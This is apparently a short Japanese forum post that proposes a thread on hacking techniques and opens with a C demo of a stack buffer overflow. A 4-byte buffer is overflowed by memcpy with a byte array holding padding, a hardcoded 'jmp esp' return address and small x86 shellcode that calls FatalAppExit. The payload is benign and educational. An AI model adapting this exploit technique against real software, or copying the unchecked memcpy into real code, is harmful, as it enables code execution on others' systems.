ハッキングテク語るスレって欲しいんだけど、
どういう展開になるか予想がつかないんだよなあ。

というわけで気球上げてみる。

void func(unsigned char *src, size_t size)
{
 unsigned char b[4];
 memcpy(b, src, size);
}

void test()
{
 unsigned char code[] = {
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x8b, 0x94, 0xf8, 0x77, // address of "jmp esp"
  0x8b, 0xc4, 0x83, 0xc0, 0x0f, 0x50, 0x6a, 0x00, 0xb8,
  0xfb, 0x7a, 0xe8, 0x77, // address of FatalAppExit()
  0xff, 0xd0, "hello"
 };

  srand((unsigned)time(NULL));
  _alloca(rand()/0x10000);

  func(code, sizeof(code));
}